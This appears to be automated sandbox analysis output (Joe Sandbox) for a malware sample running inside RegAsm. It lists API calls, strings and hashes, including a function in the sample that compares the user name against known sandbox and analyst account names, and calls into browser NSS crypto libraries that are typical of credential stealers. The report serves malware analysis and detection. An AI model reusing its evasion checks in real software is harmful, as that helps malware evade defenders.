strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C214CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C214CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C214D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C214D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C214DA2
free.MOZGLUE(?), ref: 6C214DB9
free.MOZGLUE(00000000), ref: 6C214DCF

Strings

%s,%s, xrefs: 6C214C4B
timeout, xrefs: 6C214C91
rootFlags, xrefs: 6C214D47
every, xrefs: 6C214CA1
0x%08lx=[%s %s], xrefs: 6C214D80
rust, xrefs: 6C214D22
any, xrefs: 6C214C96
ootT, xrefs: 6C214D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C214D9D
slotFlags, xrefs: 6C214D34

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 93710ff69b6fd6e7d6386a69b3eb9748b5e189d6ebcfbf1ac36b0d5cdd26a34c
Instruction ID: 131665d886458c5b9bf676de625bf85a7fecad270681b00daf01bf0f3ec9919b
Opcode Fuzzy Hash: 93710ff69b6fd6e7d6386a69b3eb9748b5e189d6ebcfbf1ac36b0d5cdd26a34c
Instruction Fuzzy Hash: DB419CB6A1414AA7DB129F149C41ABB7AA9AF8630CF444138FD0E5BF01E731D924C7E3

Function 6C1F6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1F6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C1F6943
Part of subcall function 6C1F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C1F6957
Part of subcall function 6C1F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C1F6972
Part of subcall function 6C1F6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C1F6983
Part of subcall function 6C1F6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C1F69AA
Part of subcall function 6C1F6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C1F69BE
Part of subcall function 6C1F6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C1F69D2
Part of subcall function 6C1F6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C1F69DF
Part of subcall function 6C1F6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C1F6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C1F6D8C
free.MOZGLUE(00000000), ref: 6C1F6DC5
free.MOZGLUE(?), ref: 6C1F6DD6
free.MOZGLUE(?), ref: 6C1F6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C1F6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C1F6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C1F6E72
free.MOZGLUE(?), ref: 6C1F6EA7
free.MOZGLUE(?), ref: 6C1F6EC4
free.MOZGLUE(?), ref: 6C1F6ED5
free.MOZGLUE(00000000), ref: 6C1F6EE3
free.MOZGLUE(?), ref: 6C1F6EF4
free.MOZGLUE(?), ref: 6C1F6F08
free.MOZGLUE(00000000), ref: 6C1F6F35
free.MOZGLUE(?), ref: 6C1F6F44
free.MOZGLUE(?), ref: 6C1F6F5B
free.MOZGLUE(00000000), ref: 6C1F6F65

Part of subcall function 6C1F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C1F781D,00000000,6C1EBE2C,?,6C1F6B1D,?,?,?,?,00000000,00000000,6C1F781D), ref: 6C1F6C40
Part of subcall function 6C1F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C1F781D,?,6C1EBE2C,?), ref: 6C1F6C58
Part of subcall function 6C1F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C1F781D), ref: 6C1F6C6F
Part of subcall function 6C1F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C1F6C84
Part of subcall function 6C1F6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C1F6C96
Part of subcall function 6C1F6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C1F6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C1F6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C1F6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C1F6FF4

Strings

+` l, xrefs: 6C1F6D0D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +` l
API String ID: 1304971872-3474994642
Opcode ID: 71103fdc7170539f020a6110365be6800445c68e8798419caca3965256b6dd6d
Instruction ID: e13dff7dfb5ba50ebb3e69d2a29a8e0b1d6c0c1a753f3071c1938a2dc52d7397
Opcode Fuzzy Hash: 71103fdc7170539f020a6110365be6800445c68e8798419caca3965256b6dd6d
Instruction Fuzzy Hash: 1DB17FB2E0120D9FEF00CBA5D845B9EBBF8AF15348F140129E825E7641E735E916CBA1

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043ABC4,?), ref: 00401A2E

Strings

John Doe, xrefs: 004019F5
virus, xrefs: 004019EB
maltest, xrefs: 004019D7
test user, xrefs: 004019E1
CurrentUser, xrefs: 0040194B
sandbox, xrefs: 004019C3
Peter Wilson, xrefs: 004019A5
milozs, xrefs: 0040199B
timmy, xrefs: 004019AF
Sand box, xrefs: 00401955
WDAGUtilityAccount, xrefs: 004019FF
Hong Lee, xrefs: 00401973
IT-ADMIN, xrefs: 0040197D
Johnson, xrefs: 00401987
Emily, xrefs: 0040195F
user, xrefs: 004019B9
malware, xrefs: 004019CD
Miller, xrefs: 00401991
HAPUBWS, xrefs: 00401969

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 8881371c4092f37758bf4668d714b76c2922fd0a747c9c434905da46a7f60057
Instruction ID: 805f47a77f38f91edea5e71dbf2a6b88f22d823d3df89dc3e76ba5e3d98d710e
Opcode Fuzzy Hash: 8881371c4092f37758bf4668d714b76c2922fd0a747c9c434905da46a7f60057
Instruction Fuzzy Hash: 5F21FFB094126C8BCB20CF159D4C6DDBBB5AB59308F00B1DAD189AA250C7B85FE9CF4D

Function 6C1F2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C1F2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C1F2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C1F2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C1F2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C1C4F1C,?,-00000001,00000000,?), ref: 6C1F2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C1C4F1C,?,-00000001,00000000), ref: 6C1F2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C1F2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C1F2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C1F2EF8
PR_Unlock.NSS3(?), ref: 6C1F2F62
TlsGetValue.KERNEL32 ref: 6C1F2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C1F2F9E
PR_Unlock.NSS3(?), ref: 6C1F2FCA
TlsGetValue.KERNEL32 ref: 6C1F301A
EnterCriticalSection.KERNEL32(?), ref: 6C1F302E
PR_Unlock.NSS3(?), ref: 6C1F3066
PR_SetError.NSS3(00000000,00000000), ref: 6C1F3085
PR_Unlock.NSS3(?), ref: 6C1F30EC
TlsGetValue.KERNEL32 ref: 6C1F310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C1F3124
PR_Unlock.NSS3(?), ref: 6C1F314C

Part of subcall function 6C1D9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C20379E,?,6C1D9568,00000000,?,6C20379E,?,00000001,?), ref: 6C1D918D
Part of subcall function 6C1D9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C20379E,?,6C1D9568,00000000,?,6C20379E,?,00000001,?), ref: 6C1D91A0

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C1F316D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 7d73cb6d8d216de108ebca5f9778063a2f939ef1b9b204840820a5f6988250bf
Instruction ID: ca3c243dfb2af8234015162d993841b7ef89409faf39327085bc7a8d3663e718
Opcode Fuzzy Hash: 7d73cb6d8d216de108ebca5f9778063a2f939ef1b9b204840820a5f6988250bf
Instruction Fuzzy Hash: 52F19DB5E002089FEF00DFA8D844B9EBBB4BF19318F544169EC15A7711E731E996CB91

Function 6C1E6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C1E6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E6DC3

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C1E6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C1E6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C1E6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C1E6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C1E6EB9

Strings

pData = 0x%p, xrefs: 6C1E6DF5
hSession = 0x%x, xrefs: 6C1E6D9E, 6C1E6DAE
(CK_INVALID_HANDLE), xrefs: 6C1E6DBC
n,l, xrefs: 6C1E6E61, 6C1E6E95
pulDigestLen = 0x%p, xrefs: 6C1E6E42
*pulDigestLen = 0x%x, xrefs: 6C1E6EB4
ulDataLen = %d, xrefs: 6C1E6E0E
C_Digest, xrefs: 6C1E6D81
pDigest = 0x%p, xrefs: 6C1E6E27

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$n,l
API String ID: 1003633598-262512049
Opcode ID: 6b43878ba48ff9d0521c74c7d3e3d4dd3b715e52f01569011025c57fcd80f02e
Instruction ID: 29fe2887aefbed7fbf8837b3349065fd37e4178703a19e6dda9d7f9359d713ea
Opcode Fuzzy Hash: 6b43878ba48ff9d0521c74c7d3e3d4dd3b715e52f01569011025c57fcd80f02e
Instruction Fuzzy Hash: 2341E275A0114CAFDB00DF54DD4AF8A3BB9EB56719F854028FD08E7A12DB35A818CBD2

Function 6C1F4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C1F4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C1F4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4DB7

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

TlsGetValue.KERNEL32 ref: 6C1F4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C1F4DEC
PR_Unlock.NSS3(?), ref: 6C1F4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C1F4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C1F4E71
free.MOZGLUE(00000000), ref: 6C1F4E7A
PR_Unlock.NSS3(?), ref: 6C1F4EA2
TlsGetValue.KERNEL32 ref: 6C1F4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C1F4ED6
PR_Unlock.NSS3(?), ref: 6C1F4F01
free.MOZGLUE(00000000), ref: 6C1F4F2A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: cd77a71143bb26e135b3745c0f9741b86e379e36244652961f0dd6466925e2be
Instruction ID: cbbea3afca21f2b9ed5c54c4a8c987b76ec7d549afe451c51b8827a1718aad7b
Opcode Fuzzy Hash: cd77a71143bb26e135b3745c0f9741b86e379e36244652961f0dd6466925e2be
Instruction Fuzzy Hash: 1AB15875A002059FEB00EF68D944BAA77F8FF15318F044129ED2597B41E734E962CBE1

Function 6C246E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C246BF7), ref: 6C246EB6

Part of subcall function 6C1A1240: TlsGetValue.KERNEL32(00000040,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A1267
Part of subcall function 6C1A1240: EnterCriticalSection.KERNEL32(?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A127C
Part of subcall function 6C1A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A1291
Part of subcall function 6C1A1240: PR_Unlock.NSS3(?,?,?,?,6C1A116C,NSPR_LOG_MODULES), ref: 6C1A12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C2EFC0A,6C246BF7), ref: 6C246ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C246EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C246EFC
PR_NewLock.NSS3 ref: 6C246F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C246F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C246BF7), ref: 6C246F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C246BF7), ref: 6C246F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C246BF7), ref: 6C246FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C246BF7), ref: 6C246FFD

Strings

SSLFORCELOCKS, xrefs: 6C246F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C246FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C246F4F
SSLKEYLOGFILE, xrefs: 6C246EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C246EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C246FF8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 4c113175d6b36ea9cc8d77af34b29e290586214d49a247d0611d2a8b21b53eba
Instruction ID: bff4b4fbbb011cb6405d7e38f3ce691864ae13c233c6ee042632a5e6638a5888
Opcode Fuzzy Hash: 4c113175d6b36ea9cc8d77af34b29e290586214d49a247d0611d2a8b21b53eba
Instruction Fuzzy Hash: CDA138B2A758898BE718473CC802B843AB6AB9772AF58C365FC31C6ED5DF759450C281

Function 0041260C Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 199stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C9
lstrcatA.KERNEL32(?,00436698), ref: 004127D7
lstrcatA.KERNEL32(?,58cd250b15e666e5f72fcf5caa6cb131), ref: 004127E5
lstrcatA.KERNEL32(?,0043669C), ref: 004127F3
lstrcatA.KERNEL32(?,?), ref: 004127FF
lstrcatA.KERNEL32(?,004366A0), ref: 0041280D
lstrcatA.KERNEL32(?,?), ref: 00412819
lstrcatA.KERNEL32(?,004366A4), ref: 00412827
lstrcatA.KERNEL32(?,?), ref: 00412833
lstrcatA.KERNEL32(?,004366A8), ref: 00412841
lstrlenA.KERNEL32(?), ref: 0041284A
_memset.LIBCMT ref: 00412880

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366AC,?), ref: 004128ED
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004128FB

Strings

58cd250b15e666e5f72fcf5caa6cb131, xrefs: 004127D9
.exe, xrefs: 0041264F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
